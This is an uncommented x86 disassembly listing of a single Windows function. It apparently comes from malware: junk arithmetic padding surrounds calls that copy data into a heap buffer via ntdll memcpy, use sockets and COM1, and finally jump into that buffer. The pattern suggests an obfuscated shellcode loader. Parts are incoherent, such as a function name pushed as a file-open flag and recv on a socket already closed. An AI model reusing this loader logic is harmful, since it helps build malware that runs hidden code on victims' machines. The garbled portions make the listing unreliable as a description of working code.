mov edx, dword [ebp - 0x8dc]
mov ebx, dword [ebp - 0x8f0]
add ecx, edx
shl ecx, 8
sub ebx, ecx
push 0
add ebx, 0x4e
imul ebx, dword [ebp - 0x8e4]
push 0x3e8
push 1
mov eax, dword [ebp - 0x900]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
test edi, edi
je 0x40558d
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea ecx, [ebp - 0x838]
push ecx
call esi
test eax, eax
je 0x40558d
mov edi, edi
lea edx, [ebp - 0x838]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea ecx, [ebp - 0x838]
push ecx
call esi
test eax, eax
jne 0x405560
mov edx, dword [ebp - 0x900]
push 1
push edx
call dword [sym.imp.USER32.dll_KillTimer]
mov esi, dword [0x423170]
mov ecx, dword [ebp - 0x8e8]
push esi
lea eax, [ebp - 0x8d8]
push eax
push ecx
mov dword [ebp - 0x8d8], 0
call sub.IPHLPAPI.DLL_GetIpAddrTable
test eax, eax
jne 0x4055d2
mov edx, dword [0x423170]
mov dword [0x423164], edx
jmp 0x4055fc
cmp eax, 0x7a
jne 0x4055f6
mov eax, dword [ebp - 0x8d8]
push eax
call fcn.0040750c
add esp, 4
push esi
lea ecx, [ebp - 0x8d8]
push ecx
push eax
call sub.IPHLPAPI.DLL_GetIpAddrTable
jmp 0x4055fc
inc dword [0x423164]
cmp dword [0x423174], 0
jne 0x405612
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [0x423178]
mov edx, dword [0x423170]
mov eax, dword [ebp - 0x904]
mov dword [ebp - 0x8e4], ecx
mov ecx, dword [0x423164]
mov dword [ebp - 0x900], edx
mov edx, dword [0x423168]
push ebx
mov dword [ebp - 0x8d8], ecx
lea ecx, [ebp - 0x318]
mov dword [ebp - 0x8d4], edx
mov edx, dword [ebp - 0x8dc]
push ecx
push edx
push eax
mov dword [ebp - 0x8ec], eax
call dword [sym.imp.USER32.dll_LoadStringA]
lea eax, [ebp - 0x93c]
push eax
mov dword [ebp - 0x93c], 0x14
call dword [sym.imp.USER32.dll_GetCursorInfo]
mov ecx, dword [0x423164]
mov edx, dword [ebp - 0x910]
add ecx, edx
cmp ecx, 1
jae 0x405694
inc dword [ebp - 0x8ec]
mov esi, dword [ebp - 0x8fc]
mov eax, dword [ebp - 0x8dc]
imul esi, edi
mov ecx, dword [ebp - 0x910]
imul ecx, dword [ebp - 0x8f0]
add esi, 0x10
add eax, 3
shl esi, 8
imul eax, esi
add ecx, edi
add ecx, eax
mov eax, dword [ebp - 0x8dc]
lea edx, [ecx + ebx*2]
lea ecx, [edx + eax + 1]
mov edx, dword [ebp - 0x8e4]
push edx
mov dword [0x423168], ecx
call dword [sym.imp.USER32.dll_DestroyWindow]
imul esi, esi, 0x17
mov eax, dword [ebp - 0x8d4]
mov ecx, dword [ebp - 0x8d8]
mov edx, dword [ebp - 0x900]
push eax
mov eax, dword [ebp - 0x8e4]
push ecx
push edx
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov edx, dword [0x423170]
mov ecx, dword [ebp - 0x8ec]
sub edx, ebx
imul edx, dword [0x423174]
sub ecx, edi
add ecx, dword [ebp - 0x91c]
cmp ecx, edx
jne 0x40573b
mov ecx, dword [0x423168]
mov eax, dword [0x423164]
lea edx, [ecx + eax + 1]
mov dword [0x423168], edx
mov ebx, dword [ebp - 0x8e4]
lea eax, [ebp - 0x878]
push eax
push ebx
call dword [sym.imp.USER32.dll_BeginPaint]
lea ecx, [ebp - 0x8c4]
push ecx
push ebx
call dword [sym.imp.USER32.dll_GetClientRect]
mov edx, dword [ebp - 0x8ec]
mov eax, dword [ebp - 0x8f0]
lea ecx, [edx + eax*8]
mov eax, dword [ebp - 0x8dc]
lea edx, [eax + 4]
imul edx, eax
mov eax, dword [ebp - 0x8e8]
push esi
push 0
add edx, edi
push eax
lea ebx, [edx + ecx*2 + 3]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [ebp - 0x8e4]
lea ecx, [ebp - 0x878]
push ecx
push edx
mov esi, eax
call dword [sym.imp.USER32.dll_EndPaint]
mov eax, dword [ebp - 0x8d4]
mov ecx, dword [ebp - 0x8d8]
mov edx, dword [ebp - 0x900]
add ebx, dword [ebp - 0x91c]
push eax
mov eax, dword [ebp - 0x8e4]
push ecx
push edx
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
call fcn.00401270
push 0
push 0
push 3
push 0
push 0
push closesocket
push str.COM1
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x8d8], eax
mov dword [ebp - 0x908], esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x423164]
mov eax, dword [0x423168]
lea edx, [ecx + eax - 4]
mov ecx, dword [ebp - 0x914]
mov dword [0x423164], edx
mov edx, dword [0x423170]
lea edx, [edx + ecx*2]
add edx, ecx
mov ecx, dword [ebp - 0x8fc]
lea edx, [edx + ecx + 4]
mov dword [ebp - 0x8d4], edx
test eax, eax
je 0x40583c
mov ebx, 4
xor eax, eax
push str.memcpy
push str.ntdll
mov dword [ebp - 0x834], eax
mov dword [ebp - 0x830], eax
mov dword [ebp - 0x82c], eax
mov dword [ebp - 0x828], eax
mov dword [ebp - 0x824], eax
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x838], 0x1c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x8d8]
mov dword [ebp - 0x8e8], eax
lea eax, [ebp - 0x838]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetCommState]
mov edx, dword [ebp - 0x8d4]
push edx
push 0x41e7f8
push esi
call dword [ebp - 0x8e8]
mov ecx, dword [ebp - 0x910]
mov eax, dword [ebp - 0x8fc]
add eax, ecx
add eax, dword [ebp - 0x8f0]
add esp, 0xc
lea edx, [ebp - 0x838]
add ebx, eax
mov eax, dword [ebp - 0x8d8]
push edx
push eax
mov dword [ebp - 0x834], 0x2580
mov byte [ebp - 0x826], 8
mov byte [ebp - 0x824], 0
mov byte [ebp - 0x825], 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
test eax, eax
jne 0x405922
mov eax, dword [0x423168]
mov ecx, dword [0x423164]
lea edx, [ecx + eax - 4]
mov dword [0x423164], edx
test eax, eax
je 0x405922
mov eax, 3
sub eax, ebx
mov ebx, eax
mov ecx, dword [ebp - 0x8fc]
mov edx, dword [ebp - 0x8d4]
add ecx, 0x8c
push ecx
push edx
push esi
call fcn.00403f30
cmp dword [ebp - 0x8f0], 0
je 0x405992
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [ebp - 0x910]
mov edi, dword [ebp - 0x8d8]
push 0
lea eax, [ebp - 0x924]
push eax
push 1
lea ecx, [ebp - 0x8dd]
push ecx
push edi
call esi
cmp byte [ebp - 0x8dd], 0
jle 0x405957
mov edx, dword [0x423164]
mov eax, dword [0x423168]
add edx, 3
imul edx, ebx
lea ecx, [eax + edx - 1]
mov dword [0x423168], ecx
jmp 0x405957
mov eax, dword [0x423164]
lea edx, [ebp - 0x904]
mov dword [esi + 1], edx
mov ecx, dword [0x423168]
inc ecx
add eax, ebx
imul eax, ecx
mov dword [0x423164], eax
cmp al, byte [0x423178]
jne 0x4059bf
mov dword [0x423168], ecx
push 0xa0
lea ecx, [ebp - 0x354]
push ecx
push edi
call dword [sym.imp.QUARTZ.dll_AMGetErrorTextW]
test eax, eax
jne 0x4059ef
push edi
push str.Unknown_Error:_0x_2x
mov ecx, 0xa0
lea ebx, [ebp - 0x354]
call fcn.004011e0
add esp, 8
xor esi, esi
cmp edi, esi
je 0x405a0a
push 0x10
push str.Error_
lea edx, [ebp - 0x354]
push edx
push esi
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x104
lea eax, [ebp - 0x214]
push eax
mov edi, 0xf
push esi
mov dword [ebp - 0x8e8], esi
mov dword [ebp - 0x83c], edi
mov dword [ebp - 0x840], esi
mov byte [ebp - 0x850], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x214]
mov dword [ebp - 0x820], edi
mov dword [ebp - 0x824], esi
mov byte [ebp - 0x834], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405a57
sub eax, edx
push eax
lea ecx, [ebp - 0x214]
push ecx
lea ecx, [ebp - 0x838]
call fcn.00406290
lea eax, [ebp - 0x110]
mov dword [ebp - 0x87c], edi
mov dword [ebp - 0x880], esi
mov byte [ebp - 0x890], 0
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405a90
sub eax, ecx
push eax
lea edx, [ebp - 0x110]
push edx
lea ecx, [ebp - 0x894]
call fcn.00406290
push 2
lea edi, [ebp - 0x838]
call fcn.00405f40
mov ecx, eax
lea esi, [ebp - 0x8d0]
mov edx, edi
call fcn.00405d70
push 0xffffffffffffffff
xor ebx, ebx
push ebx
push eax
mov ecx, edi
call fcn.00405e50
mov esi, 0x10
cmp dword [ebp - 0x8b8], esi
jb 0x405af1
mov eax, dword [ebp - 0x8cc]
push eax
call fcn.0040792e
add esp, 4
push 1
push 0x41b300
lea ecx, [ebp - 0x8d0]
mov dword [ebp - 0x8b8], 0xf
mov dword [ebp - 0x8bc], ebx
mov byte [ebp - 0x8cc], 0
call fcn.00406290
lea ecx, [ebp - 0x894]
push ecx
lea edx, [ebp - 0x8d0]
push edx
lea eax, [ebp - 0x838]
push eax
lea edi, [ebp - 0x97c]
call fcn.00406f40
add esp, 8
push eax
lea edi, [ebp - 0x944]
call fcn.00406f40
add esp, 8
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x854]
call fcn.00405e50
cmp dword [ebp - 0x92c], esi
jb 0x405b72
mov ecx, dword [ebp - 0x940]
push ecx
call fcn.0040792e
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x92c], edi
mov dword [ebp - 0x930], ebx
mov byte [ebp - 0x940], 0
cmp dword [ebp - 0x964], esi
jb 0x405ba1
mov edx, dword [ebp - 0x978]
push edx
call fcn.0040792e
add esp, 4
mov dword [ebp - 0x964], edi
mov dword [ebp - 0x968], ebx
mov byte [ebp - 0x978], 0
cmp dword [ebp - 0x8b8], esi
jb 0x405bcb
mov eax, dword [ebp - 0x8cc]
push eax
call fcn.0040792e
add esp, 4
mov eax, dword [ebp - 0x850]
cmp dword [ebp - 0x83c], esi
jae 0x405bdf
lea eax, [ebp - 0x850]
push 0x104
lea ecx, [ebp - 0x41c]
push ecx
push 0xffffffffffffffff
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edx, [ebp - 0x8e8]
push edx
push 0x419338
push 3
push ebx
push 0x41b304
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp dword [ebp - 0x87c], esi
jb 0x405c27
mov eax, dword [ebp - 0x890]
push eax
call fcn.0040792e
add esp, 4
mov dword [ebp - 0x87c], edi
mov dword [ebp - 0x880], ebx
mov byte [ebp - 0x890], 0
cmp dword [ebp - 0x820], esi
jb 0x405c51
mov ecx, dword [ebp - 0x834]
push ecx
call fcn.0040792e
add esp, 4
mov dword [ebp - 0x820], edi
mov dword [ebp - 0x824], ebx
mov byte [ebp - 0x834], 0
cmp dword [ebp - 0x83c], esi
jb 0x405c7b
mov edx, dword [ebp - 0x850]
push edx
call fcn.0040792e
add esp, 4
mov eax, dword [ebp - 0x110]
push ebx
push 0x20
lea ecx, [ebp - 0x110]
push ecx
push eax
mov esi, eax
call dword [sym.imp.WS2_32.dll_send]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov esi, dword [ebp - 0x110]
mov edi, dword [sym.imp.WS2_32.dll_recv]
push ebx
push 0x3ff
lea edx, [ebp - 0x614]
push edx
push esi
call edi
cmp eax, 0xffffffff
je 0x405cdd
lea esp, [esp]
push ebx
mov byte [ebp + eax - 0x614], 0
push 0x3ff
lea eax, [ebp - 0x614]
push eax
push esi
call edi
cmp eax, 0xffffffff
jne 0x405cc0
mov ebp, dword [ebp - 0x908]
call ebp
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407204
mov esp, ebp
pop ebp
ret 0x10